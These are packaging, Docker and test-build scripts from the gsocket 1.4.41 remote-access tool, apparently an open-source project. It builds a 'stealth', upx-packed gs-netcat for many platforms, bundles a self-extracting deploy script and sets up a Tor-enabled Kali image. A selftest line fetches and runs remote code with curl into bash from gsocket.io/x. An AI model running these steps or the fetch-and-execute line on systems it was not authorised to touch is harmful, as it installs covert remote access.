remote network and/or behind a firewall).
endef
define Build/Configure
$(call Build/Configure/Default,--with-linux-headers=$(LINUX_DIR) --libdir=$(STAGING_DIR)/usr/lib --includedir=$(STAGING_DIR)/usr/include)
endef
define Build/Compile
$(MAKE) -C $(PKG_BUILD_DIR) \
LD="$(TARGET_CXX)" \
all
endef
define Package/gsocket/install
$(INSTALL_DIR) $(1)/bin
$(INSTALL_DIR) $(1)/share/gsocket
$(INSTALL_DIR) $(1)/lib
$(INSTALL_DIR) $(1)/etc
$(INSTALL_BIN) $(PKG_BUILD_DIR)/tools/gs-sftp $(1)/bin/
$(INSTALL_BIN) $(PKG_BUILD_DIR)/tools/gs-mount $(1)/bin/
$(INSTALL_BIN) $(PKG_BUILD_DIR)/tools/blitz $(1)/bin/
$(INSTALL_BIN) $(PKG_BUILD_DIR)/tools/gsocket $(1)/bin/
$(INSTALL_BIN) $(PKG_BUILD_DIR)/tools/gs-netcat $(1)/bin/
$(INSTALL_BIN) $(PKG_BUILD_DIR)/tools/gs_funcs $(1)/share/gsocket/
$(INSTALL_BIN) $(PKG_BUILD_DIR)/tools/gsocket_uchroot_dso.so.0 $(1)/lib/
$(INSTALL_BIN) $(PKG_BUILD_DIR)/tools/gsocket_dso.so.0 $(1)/lib/
$(INSTALL_CONF) $(PKG_BUILD_DIR)/tools/gsocket.conf $(1)/etc/
endef
$(eval $(call BuildPackage,gsocket))
gsocket-1.4.41/packaging/openwrt/release.sh 0000755 0001750 0001750 00000001520 14503376047 020554 0 ustar epsilon epsilon #! /bin/bash
BASEDIR="$(cd "$(dirname "${0}")" || exit; pwd)" # r/gsocket/packaging/openwrt
source "${BASEDIR}/../../test-build/build_inc.sh"
OPENWRT_vars_init
[[ -z $OWRT_FEEDDIR ]] && ERREXIT "OWRT_FEEDDIR is empty. ~/research/openwrt not exist?"
[[ ! -d "$OWRT_FEEDDIR/net/gsocket" ]] && mkdir -p "${OWRT_FEEDDIR}/net/gsocket"
OPENWRT_update_makefile
# from r/gsocket/packaging/openwrt/gsocket/* to /r/openwrt/packages/net/gsocket
cp "${BASEDIR}/gsocket/Makefile" "${OWRT_FEEDDIR}/net/gsocket"
cp "${BASEDIR}/gsocket/test.sh" "${OWRT_FEEDDIR}/net/gsocket"
echo "Press enter to push release $VER"
read
(cd "$OWRT_FEEDDIR/net/gsocket" && \
git add Makefile test.sh && \
git commit --amend --author="Ralf Kaiser " --no-edit --signoff -m "gsocket: upstream update to $VER" && \
git push --force-with-lease origin master)
gsocket-1.4.41/packaging/docker/ 0000755 0001750 0001750 00000000000 14503376047 016350 5 ustar epsilon epsilon gsocket-1.4.41/packaging/docker/gsocket-tor/ 0000755 0001750 0001750 00000000000 14503376047 020611 5 ustar epsilon epsilon gsocket-1.4.41/packaging/docker/gsocket-tor/Dockerfile 0000644 0001750 0001750 00000000316 14503376047 022603 0 ustar epsilon epsilon FROM hackerschoice/gsocket
WORKDIR /root/
RUN apt-get update -y \
&& apt-get install -y --no-install-recommends \
tor \
&& touch /root/.gs_with_tor \
&& apt-get clean \
&& rm -rf /var/lib/apt/lists/
gsocket-1.4.41/packaging/docker/gsocket/ 0000755 0001750 0001750 00000000000 14503376047 020007 5 ustar epsilon epsilon gsocket-1.4.41/packaging/docker/gsocket/bashrc 0000644 0001750 0001750 00000001025 14503376047 021172 0 ustar epsilon epsilon
[[ -f /etc/gs-motd ]] && echo -e "$(cat /etc/gs-motd)"
export SHELL=/bin/bash
export TERM=xterm-256color
if [[ -f ~/.gs_with_tor ]]; then
#PS1='${debian_chroot:+($debian_chroot)}\u@\h-\e[0;32mTOR\e[0m:\e[0;33m\w\e[0m\$ '
export GSOCKET_SOCKS_IP=127.0.0.1
export GSOCKET_SOCKS_PORT=9050
pidof tor >/dev/null || { tor --quiet & }
echo -e "TOR : \033[1;32menabled\033[0m - to disable execute 'unset GSOCKET_SOCKS_IP'"
else
echo -e "TOR : \033[1;31mDISABLED\033[0m - use hackerschoice/gsocket-tor for TOR support."
fi
gsocket-1.4.41/packaging/docker/gsocket/gs-motd 0000644 0001750 0001750 00000001723 14503376047 021307 0 ustar epsilon epsilon # Start this docker like so to access your ~/hax directory (optional):
[\033[0;33mhost\033[0m ] $ \033[1;34mdocker run --rm -it --name gsocket -v ~/hax:/hax hackerschoice/gsocket\033[0m
# And this command to have a second shell:
[\033[0;33mhost\033[0m ] $ \033[1;34mdocker exec -it gsocket bash\033[0m
Test your setup:
[\033[0;33mdocker\033[0m] $ \033[1;34mgs-sftp -s thctestserver\033[0m
Transfer files to a friend who has 'blitz -s foobar -l' running:
[\033[0;33mdocker\033[0m] $ \033[1;34mblitz -s foobar /hax/./mp3/*\033[0m
FTP to a friend who has 'gs-sftp -s foobar -l' running:
[\033[0;33mdocker\033[0m] $ \033[1;34mgs-sftp -s foobar\033[0m
Login to a friend's computer who has 'gs-netcat -s foobar -il' running:
[\033[0;33mdocker\033[0m] $ \033[1;34mgs-netcat -s foobar -i\033[0m
Help : gs-netcat -m | more
Commands: gs-netcat, gs-sftp, gs-mount, blitz
Latest : \033[1;35mhttps://www.gsocket.io\033[0m
Shoutz : Yogee for ideas & testing gsocket-1.4.41/packaging/docker/gsocket/Dockerfile 0000644 0001750 0001750 00000000634 14503376047 022004 0 ustar epsilon epsilon FROM kalilinux/kali-rolling
# Must be debian compiled binaries:
COPY gsocket_latest_all.deb /tmp
COPY gs-motd /etc/
COPY bashrc /tmp
WORKDIR /root/
RUN apt update -y && \
apt install -y --no-install-recommends \
vim \
binutils \
openssl \
rsync \
openssh-server \
sshfs && \
apt-get clean && \
rm -rf /var/lib/apt/lists/ && \
dpkg -i /tmp/gsocket_latest_all.deb && \
cat /tmp/bashrc >>/root/.bashrc
gsocket-1.4.41/packaging/deploy-all/ 0000755 0001750 0001750 00000000000 14503376047 017143 5 ustar epsilon epsilon gsocket-1.4.41/packaging/deploy-all/deploy-all_head.sh 0000755 0001750 0001750 00000001272 14503376047 022527 0 ustar epsilon epsilon #! /usr/bin/env bash
# Extract deploy.sh and binary packages from _this script_
PKG_DIR="gs-pkg"
errexit()
{
[[ -z "$1" ]] || echo -e 1>&2 "ERROR: ${CR}$*${CN}"
exit 255
}
check_file()
{
[[ -f "$1" ]] || errexit "Not found: $1"
}
check_file "$0"
lc=0
while read -r l; do
lc=$((lc + 1))
[[ "$l" = "# ---END---" ]] && break
done <"$0"
[[ $lc -eq 0 ]] && errexit "Cant determine my own file size."
# Skip all lines until ---END--- and then untar binaries
(head -n"${lc}" >/dev/null; tar xfz -)<"$0"
check_file "${PKG_DIR}/deploy.sh"
chmod 755 "${PKG_DIR}/deploy.sh"
(cd "${PKG_DIR}" && GS_USELOCAL=1 ./deploy.sh)
rm -rf ./"${PKG_DIR}"
exit 0
# Do not change the next line
# ---END---
gsocket-1.4.41/packaging/deploy-all/mk_deploy-all.sh 0000755 0001750 0001750 00000002226 14503376047 022235 0 ustar epsilon epsilon #! /usr/bin/env bash
# Create deploy-all.sh:
# - Create a tar file containing all static binaries and deploy.sh
# - Create shell script with deploy-all_head.sh and append tar file to it.
BASEDIR="$(cd "$(dirname "${0}")/../../" || exit; pwd)"
source "${BASEDIR}/packaging/build_funcs"
targets="x86_64-alpine i386-alpine aarch64-linux arm-linux x86_64-osx x86_64-cygwin i686-cygwin mips64-alpine mips32-alpine mipsel32-alpine x86_64-freebsd"
# targets="x86_64-alpine x86_64-osx"
PKG_DIR="gs-pkg"
FILE_DEPLOY_SH="../../deploy/deploy.sh"
errexit()
{
[[ -z "$1" ]] || echo -e 1>&2 "ERROR: ${CR}$*${CN}"
exit 255
}
check_file()
{
[[ -f "$1" ]] || errexit "Not found: $1"
}
check_file deploy-all_head.sh
check_file "${FILE_DEPLOY_SH}"
rm -rf ./"$PKG_DIR"
mkdir "$PKG_DIR" 2>/dev/null
for osarch in $targets; do
fn="gs-netcat_${osarch}.tar.gz"
f="../gsnc-deploy-bin/${fn}"
check_file "$f"
ln -s "../${f}" "${PKG_DIR}/${fn}"
done
ln -s ../"${FILE_DEPLOY_SH}" "${PKG_DIR}/deploy.sh"
(cat deploy-all_head.sh; "${GTAR_BIN}" cfhz - --owner=0 --group=0 "$PKG_DIR") >deploy-all.sh
chmod 755 deploy-all.sh
ls -al deploy-all.sh
[[ -d "$PKG_DIR" ]] && rm -rf "${PKG_DIR}"
gsocket-1.4.41/packaging/gsnc-deploy-bin/ 0000755 0001750 0001750 00000000000 14503376047 020073 5 ustar epsilon epsilon gsocket-1.4.41/packaging/gsnc-deploy-bin/docker/ 0000755 0001750 0001750 00000000000 14503376047 021342 5 ustar epsilon epsilon gsocket-1.4.41/packaging/gsnc-deploy-bin/docker/x86_64-debian/ 0000755 0001750 0001750 00000000000 14503376047 023520 5 ustar epsilon epsilon gsocket-1.4.41/packaging/gsnc-deploy-bin/docker/x86_64-debian/Dockerfile 0000644 0001750 0001750 00000001105 14503376047 025507 0 ustar epsilon epsilon FROM debian
ENV OPENSSL_VER=1.1.1k
ENV OPENSSL_ARCH=linux-generic64
RUN apt update -y && \
apt install -y --no-install-recommends libc6-dev automake gcc make curl ca-certificates && \
apt clean && \
rm -rf /var/lib/apt/lists/ && \
curl https://www.openssl.org/source/openssl-${OPENSSL_VER}.tar.gz \
| tar -xzC /tmp/ && \
cd /tmp/openssl-${OPENSSL_VER} && \
./Configure --prefix=/root/usr no-tests no-dso no-threads no-shared ${OPENSSL_ARCH} && \
make install_sw && \
rm -rf rm -rf /tmp/openssl-${OPENSSL_VER} /root/usr/bin/openssl /root/usr/bin/c_rehash && \
echo done
gsocket-1.4.41/packaging/gsnc-deploy-bin/docker/arm-linux/ 0000755 0001750 0001750 00000000000 14503376047 023256 5 ustar epsilon epsilon gsocket-1.4.41/packaging/gsnc-deploy-bin/docker/arm-linux/Dockerfile 0000644 0001750 0001750 00000001047 14503376047 025252 0 ustar epsilon epsilon FROM muslcc/x86_64:arm-linux-musleabi
ENV OPENSSL_VER=1.1.1k
ENV OPENSSL_ARCH=linux-generic32
WORKDIR /root/
RUN apk update \
&& apk add --no-cache bash perl make curl && \
rm -rf /var/cache/apk/* && \
curl https://www.openssl.org/source/openssl-${OPENSSL_VER}.tar.gz \
| tar -xzC /tmp/ && \
cd /tmp/openssl-${OPENSSL_VER} && \
./Configure --prefix=/root/usr no-tests no-dso no-threads no-shared ${OPENSSL_ARCH} && \
make install_sw && \
rm -rf rm -rf /tmp/openssl-${OPENSSL_VER} /root/usr/bin/openssl /root/usr/bin/c_rehash && \
echo done
gsocket-1.4.41/packaging/gsnc-deploy-bin/docker/build.sh 0000755 0001750 0001750 00000001464 14503376047 023005 0 ustar epsilon epsilon #! /bin/sh
# ^^^^^^^Mutli OS must use /bin/sh (alpine uses ash, debian uses dash)
# This script is executed inside a docker container.
# It is used to build gs-netcat as staticly linked binary for various OSes.
test -d /gsocket-src || { echo >&2 "/gsocket-src does not exists."; exit 255; }
test -d /gsocket-build || { echo >&2 "/gsocket-build does not exists."; exit 255; }
cd /gsocket-src && \
./configure --prefix=/root/usr --enable-stealth --enable-static $(cat /gsocket-src/configure-parameters.txt) && \
make clean all && \
strip tools/gs-netcat && \
{ command -v upx >/dev/null && upx tools/gs-netcat; true; } && \
# Test execute the binary (unless cross compiler)
{ grep host /gsocket-src/configure-parameters.txt >/dev/null || tools/gs-netcat -g || { rm -f tools/gs-netcat; exit 255; }; } && exit
exit 255
gsocket-1.4.41/packaging/gsnc-deploy-bin/docker/x86_64-alpine/ 0000755 0001750 0001750 00000000000 14503376047 023546 5 ustar epsilon epsilon gsocket-1.4.41/packaging/gsnc-deploy-bin/docker/x86_64-alpine/Dockerfile 0000644 0001750 0001750 00000001074 14503376047 025542 0 ustar epsilon epsilon FROM alpine
ENV OPENSSL_VER=1.1.1k
ENV OPENSSL_ARCH=linux-generic64
WORKDIR /root/
RUN apk update \
&& apk add --no-cache bash musl-dev linux-headers gcc make automake openssl-dev curl upx && \
rm -rf /var/cache/apk/* && \
curl https://www.openssl.org/source/openssl-${OPENSSL_VER}.tar.gz \
| tar -xzC /tmp/ && \
cd /tmp/openssl-${OPENSSL_VER} && \
./Configure --prefix=/root/usr no-tests no-dso no-threads no-shared ${OPENSSL_ARCH} && \
make install_sw && \
rm -rf rm -rf /tmp/openssl-${OPENSSL_VER} /root/usr/bin/openssl /root/usr/bin/c_rehash && \
echo done
gsocket-1.4.41/packaging/gsnc-deploy-bin/docker/build_all.sh 0000755 0001750 0001750 00000004211 14503376047 023626 0 ustar epsilon epsilon #! /bin/bash
# Build all binaries for gsocket.io/x deployment scripts
# Use docker.
BASEDIR="$(cd "$(dirname "${0}")/../../../" || exit; pwd)"
VER="$(grep AC_INIT "${BASEDIR}/configure.ac" | cut -f3 -d"[" | cut -f1 -d']')"
source "${BASEDIR}/packaging/build_funcs"
SRCDIR="${BASEDIR}/packaging/build/gsocket-${VER}"
GSNCROOT="${BASEDIR}/packaging/gsnc-deploy-bin/docker"
if [[ ! -f "${SRCDIR}"/configure.ac ]]; then
tar_orig="${BASEDIR}/gsocket-${VER}.tar.gz"
[[ -f "$tar_orig" ]] && (cd "${BASEDIR}/packaging/build" && tar xfz "$tar_orig")
fi
[[ -d "$SRCDIR" ]] || { echo >&2 "Source not found: $SRCDIR or ${tar_orig}."; exit 255; }
docker_pack()
{
[[ -z $1 ]] && { echo >&2 "Parameters missing."; return; }
echo "" >"${SRCDIR}/configure-parameters.txt"
[[ -z $2 ]] || { echo "$2" >"${SRCDIR}/configure-parameters.txt"; }
local dsttar
local filename
local dockername
local dstdir
filename="gs-netcat_${1}.tar.gz"
dstdir="${GSNCROOT}/.."
dsttar="${dstdir}/${filename}"
dockername="gs-${1}"
[[ -f "${dsttar}" ]] && { echo >&2 "${filename} exists. Skipping."; return; }
rm -f "${dsttar}"
# Create local docker container if it does not yet exist
docker run --rm -it "${dockername}" true 2>/dev/null || ( cd docker && docker build -t "${dockername}" "${1}" ) || { exit 255; }
[[ -f "${SRCDIR}/tools/gs-netcat" ]] && rm -f "${SRCDIR}/tools/gs-netcat"
docker run --rm -v "${SRCDIR}:/gsocket-src" -v "${GSNCROOT}:/gsocket-build" -it "${dockername}" /gsocket-build/build.sh || { exit 255; }
(cd "${SRCDIR}/tools" && ${GTAR_BIN} cfz "${dsttar}" --mode=755 --owner=0 --group=0 gs-netcat)
(cd "${dstdir}" && shasum "${filename}" && ls -al "${filename}")
}
cd "${BASEDIR}/packaging/gsnc-deploy-bin"
docker_pack arm-linux "--host=arm" && \
#docker_pack armv7l-linux "--host=armv7l" && \
#docker_pack armv6l-linux "--host=armv6l" && \
docker_pack aarch64-linux "--host=aarch64" && \
docker_pack mips64-alpine "--host=mips64" && \
docker_pack mips32-alpine "--host=mips32" && \
docker_pack mipsel32-alpine "--host=mips32" && \
docker_pack x86_64-alpine && \
docker_pack i386-alpine && \
{ echo "SUCCESS"; exit 0; }
# USE ALPINE docker_pack x86_64-debian && \
exit 255
gsocket-1.4.41/packaging/gsnc-deploy-bin/cyg_bincopy.sh 0000755 0001750 0001750 00000002144 14503376047 022740 0 ustar epsilon epsilon #! /bin/bash
prgcp()
{
local bin
local arr
bin=$1
[[ ! -e "$bin" ]] && bin=$(which "$1")
arr=($(ldd "$bin" | grep -F /usr/bin/ | awk '{print $1;}'))
for fn in "${arr[@]}"; do
[[ ! -f "/usr/bin/${fn}" ]] && { echo >&2 "Not found: /usr/bin/${fn}"; continue; }
[[ -f "${dst}/${fn}" ]] && continue
echo "fn=$fn"
cp "/usr/bin/${fn}" "$dst"
done
name="${bin##*/}"
[[ -z $name ]] && name="$bin"
[[ -e "${dst}/${name}" ]] && return
echo "cp ${bin} => ${dst}"
cp "${bin}" "${dst}"
}
dst="$1"
{ [[ -z ${dst} ]] || [[ ! -d "${dst}" ]] } && { echo >&2 "Destination '${dst}' not found"; exit 250; }
for n in awk bzip2 bash cat cp curl date dd df diff du file find git gpg grep gs-netcat gunzip gzip head \
hostname id jq kill killall ldd less ln ls md5sum mkdir more mv nc nice nohup openssl perl ping ps \
pwd python reset resize rm rsync sha256sum sha512sum screen scp sed setsid sh shred ssh \
stty socat tail tar tmux uname unzip vi vim wc wget which whereis xargs zip; do
prgcp "$n" "$dst"
done
gsocket-1.4.41/packaging/gsnc-deploy-bin/selftest/ 0000755 0001750 0001750 00000000000 14503376047 021724 5 ustar epsilon epsilon gsocket-1.4.41/packaging/gsnc-deploy-bin/selftest/Dockerfile.debian 0000644 0001750 0001750 00000000260 14503376047 025135 0 ustar epsilon epsilon FROM debian
RUN apt update -y && \
apt install -y --no-install-recommends curl wget ca-certificates tar gzip && \
apt clean && \
rm -rf /var/lib/apt/lists/ && \
echo done
gsocket-1.4.41/packaging/gsnc-deploy-bin/selftest/Dockerfile.centos 0000644 0001750 0001750 00000000467 14503376047 025217 0 ustar epsilon epsilon FROM centos
RUN cd /etc/yum.repos.d/ && \
sed -i 's/mirrorlist/#mirrorlist/g' /etc/yum.repos.d/CentOS-* && \
sed -i 's|#baseurl=http://mirror.centos.org|baseurl=http://vault.centos.org|g' /etc/yum.repos.d/CentOS-* && \
yum -y update && \
yum -y install wget gzip tar && \
yum -y clean all && \
echo done
gsocket-1.4.41/packaging/gsnc-deploy-bin/selftest/Dockerfile.alpine 0000644 0001750 0001750 00000000205 14503376047 025162 0 ustar epsilon epsilon FROM alpine
WORKDIR /root/
RUN apk update \
&& apk add --no-cache bash wget tar gzip && \
rm -rf /var/cache/apk/* && \
echo done
gsocket-1.4.41/packaging/gsnc-deploy-bin/selftest/run.sh 0000755 0001750 0001750 00000001041 14503376047 023063 0 ustar epsilon epsilon #! /bin/sh
BASEDIR="$(cd "$(dirname "${0}")" || exit; pwd)"
# IF this is not a live test then use local binaries (GS_DEBUG=1)
if test -z "$GS_LIVE"; then
export GS_DEBUG=1
export GS_USELOCAL=1
${BASEDIR}/deploy.sh && \
GS_UNDO=1 ${BASEDIR}/deploy.sh
else
echo "Running LIVE test..."
{ command -v curl >/dev/null && bash -c "$(curl -fsSL gsocket.io/x)" || bash -c "$(wget -qO- gsocket.io/x)"; } && \
export GS_UNDO=1 && \
{ command -v curl >/dev/null && bash -c "$(curl -fsSL gsocket.io/x)" || bash -c "$(wget -qO- gsocket.io/x)"; }
fi
gsocket-1.4.41/packaging/gsnc-deploy-bin/selftest/Dockerfile.rhel8 0000644 0001750 0001750 00000000023 14503376047 024732 0 ustar epsilon epsilon FROM roboxes/rhel8
gsocket-1.4.41/packaging/gsnc-deploy-bin/selftest/run_all.sh 0000755 0001750 0001750 00000002075 14503376047 023723 0 ustar epsilon epsilon #! /bin/bash
# Test deploy.sh in various docker images.
# To fetch binaries from live server us:
# GS_LIVE=1 ./run_all.sh
BASEDIR="$(cd "$(dirname "${0}")/../../../" || exit; pwd)"
GSPKGROOT="${BASEDIR}/packaging/gsnc-deploy-bin/"
STDIR="${GSPKGROOT}/selftest"
targets="ubi8 debian centos arch alpine rhel8 suse-tumbleweed"
[[ -n $* ]] && targets="$*"
errexit()
{
echo >&2 "ERROR: $*"
exit 255
}
docker_run()
{
[[ -z $1 ]] && { echo >&2 "Parameters missing."; return; }
[[ -f "${STDIR}/Dockerfile.${1}" ]] || { echo >&2 "Not found: Dockerfile.${1}"; return; }
echo "Testing $1..."
local dockername
dockername="gs-selftest-${1}"
docker run --rm -it "${dockername}" true || docker build -t "${dockername}" -f "${STDIR}/Dockerfile.${1}" . || { exit 255; }
docker run --rm -v "${GSPKGROOT}:/gsocket-pkg" -e GS_LIVE="$GS_LIVE" -it "${dockername}" /gsocket-pkg/selftest/run.sh || { errexit "failed"; }
}
cp "${BASEDIR}/deploy/deploy.sh" "${GSPKGROOT}/selftest/deploy.sh"
for x in $targets; do
docker_run $x
done
rm -f "${GSPKGROOT}/selftest/deploy.sh"
echo "SUCCESS."
gsocket-1.4.41/packaging/gsnc-deploy-bin/selftest/Dockerfile.suse-tumbleweed 0000644 0001750 0001750 00000000144 14503376047 027026 0 ustar epsilon epsilon FROM opensuse/tumbleweed
RUN zypper install -y wget tar gzip && \
zypper clean -a && \
echo done
gsocket-1.4.41/packaging/gsnc-deploy-bin/selftest/Dockerfile.arch 0000644 0001750 0001750 00000000033 14503376047 024626 0 ustar epsilon epsilon FROM archlinux:base-devel
gsocket-1.4.41/packaging/debian/ 0000755 0001750 0001750 00000000000 14503376047 016323 5 ustar epsilon epsilon gsocket-1.4.41/packaging/Makefile 0000755 0001750 0001750 00000001120 14503376047 016536 0 ustar epsilon epsilon
VERSION=1.4.23
BIN_NAME=gsocket
PKG_NAME=${BIN_NAME}-${VERSION}
debuild-setup: ../${PKG_NAME}.tar.gz
rm -rf build
mkdir build
cp ../${PKG_NAME}.tar.gz build && \
cd build && \
tar xfz ${PKG_NAME}.tar.gz
-cd build/${PKG_NAME} && \
dh_make -sy -f ../${PKG_NAME}.tar.gz && \
rm -f debian/*.EX debian/*.ex debian/*.docs debian/README.* && \
cp -a ../../debian/* debian/ && \
uscan .
debian-debuild: debuild-setup
cd build/${PKG_NAME} && \
debuild -S
lintian --pedantic -IE build/${BIN_NAME}_*.dsc
clean:
rm -rf ./build ./${PKG_NAME}.tar.gz
debian: debian-debuild
echo Done.
gsocket-1.4.41/test-build/ 0000755 0001750 0001750 00000000000 14503376047 015231 5 ustar epsilon epsilon gsocket-1.4.41/test-build/compile.conf-example 0000644 0001750 0001750 00000001510 14503376047 021156 0 ustar epsilon epsilon #! /bin/bash
# Used by 'test-compile.sh'. This file contains information how to execute a command
# on various different architectures/VMs.
# ENVIRONEMT VARIABLES
#
# _REXEC_CMD= Command to execute remote command.
# _PREFIX= Added to ./configure --prefix=
# _PRE_EXEC= Command to execute before compile/test run
# _COMPILE_EXEC= Command to compile. [see OpenWRT]
# _RUN_EXEC= Command to run all tests. [see OpenWRT]
# _DST= Destination directory. [default is ~/]
# _ENV= Extra environment variables to set
[[ $(basename "$0") == "compile.conf" ]] && { echo "This is an include file. Use test-compile.sh"; exit 1; }
# Set DEFAULT values
VMGUEST_USERHOST="skyper@127.1"
osx_REXEC_CMD="ssh -p 22 -t ${VMGUEST_USERHOST}"
osx_PREFIX='$HOME/usr'
sid_REXEC_CMD="ssh -p 22107 -t ${VMGUEST_USERHOST}"
gsocket-1.4.41/test-build/test-compile.sh 0000755 0001750 0001750 00000007675 14503376047 020214 0 ustar epsilon epsilon #! /bin/bash
# Test-Compile & RUN release package on various VMs.
# EXAMPLE: RUN=1 NO_COMPILE=1 GSOCKET_HOST=gs1.thc.org ./test-compile.sh arch32
BASEDIR="$(cd "$(dirname "${0}")" || exit; pwd)"
TOPDIR="$(cd "${BASEDIR}/../" || exit; pwd)"
CY="\033[1;33m" # yellow
CG="\033[1;32m" # green
CR="\033[1;31m" # red
CC="\033[1;36m" # cyan
CM="\033[1;35m" # magenta
CN="\033[0m" # none
VER="$(grep AC_INIT "${TOPDIR}/configure.ac" | cut -f3 -d"[" | cut -f1 -d']')"
FILE="gsocket-${VER}.tar.gz"
DIR=$(echo "$FILE" | sed 's/\.tar\.gz//')
[[ -f "${TOPDIR}/$FILE" ]] || make dist
[[ -f "${TOPDIR}/$FILE" ]] || { echo >&2 "$FILE not found."; exit 255; }
echo "Using:"
(cd "${TOPDIR}" && ls -al "$FILE" && sha256sum "$FILE")
# targets+=("osx")
targets+=("sid")
targets+=("cygwin")
targets+=("kali64")
targets+=("arch64")
targets+=("arch32")
targets+=("alpine64")
targets+=("debian" "ubuntu")
targets+=("centos" "linux32")
targets+=("fbsd")
targets+=("bengal")
targets+=("rpi")
targets+=("solaris11" "solaris10")
targets+=("openwrt")
[[ -n $1 ]] && targets=("$@")
shellcheck "${TOPDIR}/tools/gs-sftp"
shellcheck "${TOPDIR}/tools/blitz"
shellcheck "${TOPDIR}/tools/gs-mount"
shellcheck "${TOPDIR}/tools/gs_funcs"
shellcheck "${TOPDIR}/tools/gsocket"
shellcheck "${TOPDIR}/deploy/deploy.sh"
if [[ -z $GSOCKET_DOMAIN ]] && [[ -z $GSOCKET_HOST ]]; then
[[ -z $GSOCKET_IP ]] && GSOCKET_IP=192.168.1.16
#GSOCKET_PORT=7351
# GSOCKET_IP=
fi
ENVPARAM="QUICK=y GSOCKET_PORT=${GSOCKET_PORT} GSOCKET_HOST=${GSOCKET_HOST} GSOCKET_IP=${GSOCKET_IP}"
ENVPARAM_CSH="setenv QUICK y; setenv GSOCKET_PORT ${GSOCKET_PORT}; setenv GSOCKET_IP ${GSOCKET_IP}; setenv GSOCKET_HOST ${GSOCKET_HOST};"
[[ -z $NO_COMPILE ]] && WITH_COMPILE=1
# Load configuration
[[ -f "${BASEDIR}/compile.conf" ]] && source "${BASEDIR}/compile.conf"
do_test()
{
local target
local REXEC_CMD
local PREFIX
local DST
local ENV_run
target="$1"
COUNT=$((COUNT + 1))
CSTR="${CR}[${COUNT}/${#targets[@]}]${CN}"
REXEC_CMD=$(eval echo \$${target}_REXEC_CMD)
PREFIX=$(eval echo \$${target}_PREFIX)
DST=$(eval echo \$${target}_DST)
PRE_EXEC=$(eval echo \$${target}_PRE_EXEC)
COMPILE_EXEC=$(eval echo \$${target}_COMPILE_EXEC)
RUN_EXEC=$(eval echo \$${target}_RUN_EXEC)
ENV_conf=$(eval echo \$${target}_ENV)
[[ -z $DST ]] && DST="."
[[ -z $PRE_EXEC ]] && PRE_EXEC="true"
[[ -z $ENV_conf ]] && ENV_run="${ENVPARAM}" || ENV_run="$ENV_conf"
if [[ -n $PREFIX ]]; then
if [[ $ENV_run =~ "setenv" ]]; then
ENV_run+=" setenv GS_PREFIX ${PREFIX};"
else
ENV_run+=" GS_PREFIX=${PREFIX}"
fi
fi
if [[ -n $WITH_COMPILE ]]; then
echo -e "${CSTR} ${CG}Compiling ${CY}${target}${CN} [${REXEC_CMD}]"
if [[ -n $COMPILE_EXEC ]]; then
# HERE: Custom compile action (for openwrt)
$REXEC_CMD "$COMPILE_EXEC" || { echo "Failed-3 ${*}"; false; return; }
echo "Done ${target}. [${COMPILE_EXEC}]"
return
fi
if [[ -z "${PREFIX}" ]]; then
COMPILE="cd ${DST}/$DIR && find . -type f -exec touch -r /etc/passwd {} \\; && ./configure --enable-tests && make clean all"
else
COMPILE="cd ${DST}/$DIR && find . -type f -exec touch -r /etc/passwd {} \\; && ./configure --prefix=${PREFIX} --enable-tests && make clean all install"
fi
# Must use two logins so we get color output (tty connected)
(cat "${TOPDIR}/${FILE}" ) | $REXEC_CMD "$PRE_EXEC && (cd $DST; gunzip | tar xf -)" && \
$REXEC_CMD "$COMPILE"
[[ $? -eq 0 ]] || { echo "Failed ${target} [${REXEC_CMD}]"; false; return; }
fi
if [[ -n "$RUN" ]]; then
echo -e "${CSTR} ${CM}TESTING ${CY}${target}${CN} [${REXEC_CMD}]"
# OpenWRT does not have a RUN test...
if [[ -n $RUN_EXEC ]]; then
$REXEC_CMD "$RUN_EXEC" || { echo "Failed-2 ${*}"; false; return; }
else
$REXEC_CMD "cd ${DST}/${DIR}/tests/ && ${ENV_run} ./run_all_tests.sh" || { echo "Failed-2 ${*}"; false; return; }
fi
fi
echo "Done ${target}. [${REXEC_CMD}]"
}
for t in "${targets[@]}"; do
do_test "${t}" || break
((n++))
done
NOTRUN="${targets[@]:$n}"
[[ -n $NOTRUN ]] && echo "Not run: $NOTRUN"
gsocket-1.4.41/test-build/build_inc.sh 0000644 0001750 0001750 00000002562 14503376047 017522 0 ustar epsilon epsilon #! /bin/bash
ERREXIT()
{
echo >&2 "ERROR: $@"
exit 255
}
OPENWRT_vars_init()
{
OPENWRTDIR="$HOME/openwrt"
MKFILE="${TOPDIR}/packaging/openwrt/gsocket/Makefile"
OWRT_PKG_VERSION="$(grep ^PKG_VERSION: "${MKFILE}" | cut -f2 -d=)"
OWRT_PKG_HASH="$(grep ^PKG_HASH: "${MKFILE}" | cut -f2 -d=)"
# mdir ~/resarch/openwrt && cd ~/research/openwrt && git clone --depth 1 git@github.com:SkyperTHC/packages.git
OWRT_FEEDDIR="$(cd "${TOPDIR}/../openwrt/packages" || exit; pwd)"
}
OPENWRT_update_makefile()
{
[[ "$VER" = "$OWRT_PKG_VERSION" ]] && [[ "$HASH" == "$OWRT_PKG_HASH" ]] && return
echo "Updating openwrt/gsocket/Makfile..."
echo "$OWRT_PKG_VERSION => $VER"
echo "$OWRT_PKG_HASH => $HASH"
cp "${MKFILE}" "${MKFILE}-old"
mk=$(sed "s/^PKG_HASH.*/PKG_HASH:=${HASH}/g" <"${MKFILE}" | sed "s/^PKG_VERSION.*/PKG_VERSION:=${VER}/g")
echo "$mk" >"${MKFILE}"
OWRT_PKG_VERSION="$VER"
OWRT_PKG_HASH="$HASH"
}
find_topdir()
{
[[ -n $TOPDIR ]] && return
[[ ! -f "${BASEDIR}/${1}/configure.ac" ]] && return
TOPDIR="$(cd "${BASEDIR}/${1}" || exit; pwd)"
}
find_topdir .
find_topdir ..
find_topdir ../..
find_topdir ../../..
VER="$1"
[[ -z "$1" ]] && VER="$(grep AC_INIT "${TOPDIR}/configure.ac" | cut -f3 -d"[" | cut -f1 -d']')"
FILENAME="gsocket-${VER}.tar.gz"
FILE="${TOPDIR}/${FILENAME}"
[[ -f "$FILE" ]] || ERREXIT "$FILE not found"
HASH="$(sha256sum "${FILE}" | cut -f1 -d" ")"
gsocket-1.4.41/test-build/build_openwrt.sh 0000755 0001750 0001750 00000000762 14503376047 020452 0 ustar epsilon epsilon #! /bin/bash
BASEDIR="$(cd "$(dirname "${0}")" || exit; pwd)"
source "${BASEDIR}/build_inc.sh"
OPENWRT_vars_init
[[ "$(hostname)" != "debian-10-6" ]] && ERREXIT "Execute on debian22016"
